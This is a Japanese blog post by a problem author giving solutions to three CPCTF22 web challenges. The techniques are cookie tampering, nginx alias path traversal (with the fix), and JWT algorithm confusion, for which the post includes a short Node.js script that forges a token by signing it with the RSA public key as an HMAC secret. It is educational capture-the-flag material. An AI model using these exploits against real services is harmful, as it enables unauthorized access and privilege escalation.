feature image

2022年5月3日 | ブログ記事

CPCTF22 作問者writeup by reyu

こんにちは。20Bの@reyuです。普段はSysAd班・CTF班などで活動しています。
この記事は5/1に行われたCPCTF22の作問者writeupです。

writeup

の3問を作問しました。

Web/Forbidden 1 (newbie)

ヒントなし あり
22 53

adminじゃないと取得できないフラグを取得する問題です。
cookieを見るとadmin: falseがそのまま入っているので、cookieを編集することで誰でもadminになることができます。


Webのnewbie問はdevtoolsを見たらそのままフラグが書いてあるみたいな問題になることが多いのですが、なんとなく味気なさを感じたので少し現実寄りな問題にしました。
そのぶんヒントはできるだけわかりやすくなるように意識しながら書きました。結果としては多くの方に解いてもらえたようで、少し安心しています。

Web/Forbidden 2 (easy)

ヒントなし 1 2 3
17 2 14 15

Forbidden 1と見た目は同じですが、今度はフラグに誰もアクセスできないようになっています。
添付ファイルを開いてみると、nginx.confというファイルが含まれています。
nginx.confはNginxというアプリケーションの設定ファイルで、読んでみると /private 以下へのアクセスが拒否されていることがわかります。

http {
	server {
		listen 80;

		location /private {
			return 403;
		}

		location /public {
			alias /usr/share/nginx/public/;
		}

		location / {
			alias /usr/share/nginx/html/;
		}
	}
}

events {}

ここで、alias について調べてみると、locationに対して置換を行うディレクティブなことが書かれています。
http://nginx.org/en/docs/http/ngx_http_core_module.html#alias

よって今回の設定だと、/public/image.png に対するリクエストは、/usr/share/nginx/public//image.png に置換され、LinuxなどのOSではパスの中の /// として扱われるため、結果として /usr/share/nginx/public/image.png へのアクセスして解釈されます。

ここで、/public../hoge へのリクエストについて考えてみると、/usr/share/nginx/public/../hoge に置換され、.. は1つ上のディレクトリを指すため /usr/share/nginx/hoge へのリクエストとなります。

よって、/public../private/flag.txt にアクセスするとフラグを入手できます。


この脆弱性は、 location /public/ のように最後に / をつけることで防ぐことができます。

余談ですが、この脆弱性はalias traversalなどと呼ばれているのですが、alias traversalはNginx自体の脆弱性としては扱われておらず、今後のアップデートで修正などが行われる可能性は低いです。
いかにもやってしまいそうな設定ミスが脆弱性となりうるのが怖いですねという問題でした。

Web/5 quadrillion coins (medium)

ヒントなし 1 2 3
6 1 0 5

5000兆枚コインを集める問題です。
コインは1枚ずつしか集めることができないため、別の方法を考える必要があります。
ユーザー情報はJWTで管理されており、ここの改ざんができればコインの枚数を自由に増やせます。

まず、JWTの中身を見てみましょう。
JWTの仕様について詳しくは触れませんが、データ自体は暗号化されていないのでjwt.ioなどで中身を見ることができます。

"alg": "RS256" が見えます。
このように、JWTでは自分自身がどのように署名されているかをヘッダーに記載します。

この仕様を使った攻撃手法の1つに、"alg": "none" とすることで署名の検証を回避するというものがあります。
ただ、src/jwt.ts を見ると対策されているようです。

const algorithms: jwt.Algorithm[] = [
  "HS256",
  "HS384",
  "HS512",
  "RS256",
  "RS384",
  "RS512",
  "ES256",
  "ES384",
  "ES512",
  "PS256",
  "PS384",
  "PS512",
  // "none"
];

次に、jwt.verify()のTypeScriptでの型定義を見てみると

/**
 * Synchronously verify given token using a secret or a public key to get a decoded token
 * token - JWT string to verify
 * secretOrPublicKey - Either the secret for HMAC algorithms, or the PEM encoded public key for RSA and ECDSA.
 * [options] - Options for the verification
 * returns - The decoded token.
 */
export function verify(token: string, secretOrPublicKey: Secret, options: VerifyOptions & { complete: true }): Jwt;
export function verify(token: string, secretOrPublicKey: Secret, options?: VerifyOptions & { complete?: false }): JwtPayload | string;
export function verify(token: string, secretOrPublicKey: Secret, options?: VerifyOptions): Jwt | JwtPayload | string;

第二引数に secretOrPublicKey と書いてあります。

Either the secret for HMAC algorithms, or the PEM encoded public key for RSA and ECDSA. と書いてあるように、ここにはHMACの共通鍵もしくは公開鍵暗号の公開鍵が入るようです。

ここまでの情報をまとめると

よって、RS256の公開鍵をHMACの共通鍵としてJWTに署名することで、JWTの改ざんが可能となります。

攻撃用のtokenの作成はWeb上のサービスや自前のプログラムなどで行うことができます。
ただ、jwt.ioでは改行を含むsecretを貼り付けるとスペースに置換されるらしく、解くことができません。この罠のせいでヒントを全部開けてしまった人を見かけて申し訳ない気持ちになりました。
自分で解いた時点でそこが罠なことには気づいていたのでヒント1とかに書いておくとよかったかもしれないですね。

const jwt = require("jsonwebtoken");

const publicKey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzlUYqKvBVup0Tv62RGUm
bsNIpY8JTZ3p5vPQdQqwzFjpm0mZGPnFo7xV/u2LA7anZI9gd/3zOqvbI0rwbLxm
YQXIViJX8l/RFi6/nMfRTOxZaGcBefZ/lNrnJY1vQOxaF/bRM2kx9wQvIJf+gVvq
WReix2vFplMhFTKPEAzK4EB6IzSOJ9s6yf7umUshOzxXI6LY6dIPYLGTvKm7PJdn
fi+YJlv0+OE2j25HsWGj3raeQJoVEL2tiEzLN+5ID7ddR2bN5xmmWkk3pfyOaZZj
2U/igL/Qz5e9bP6kYpBzjZIROsCpnxO5pooWjAb+13Aemb3d+ecsmf9RBJvU20KW
YQIDAQAB
-----END PUBLIC KEY-----`;

const obj = {
  username: "a",
  coins: 10000000000000000,
};

const token = jwt.sign(obj, publicKey, { algorithm: "HS256", noTimestamp: true });
console.log(token);

公開鍵を共通鍵として使うという手法が好きで問題にしたんですが、そのまますぎてCTF的な楽しさがあまりない問題になってしまったような気もしています。
いくつか要素を加えようとしたものの、どれも蛇足感が強くなってしまい結局そのまま出すことにしました。

おわりに

CPCTF22に参加してくださった皆様ありがとうございました。
スコアサーバーや問題環境はしばらく残っているらしいので、気になった方はぜひ解いてみてください。

reyu icon
この記事を書いた人
reyu

いろいろやったりやらなかったりしてます。

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2021年8月12日
CPCTFを支えたWebshell
mazrean icon mazrean
2021年5月19日
CPCTF2021を実現させたスコアサーバー
xxpoxx icon xxpoxx
2021年5月16日
CPCTFを支えたインフラ
mazrean icon mazrean
2019年4月22日
アセンブリを読んでみよう【新歓ブログリレー2019 45日目】
eiya icon eiya
2021年4月26日
CPCTF2021 作問者writeup by zassou
zassou icon zassou
2021年4月26日
CPCTF2021 作問者writeup by hukuda222
hukuda222 icon hukuda222
記事一覧 タグ一覧 Google アナリティクスについて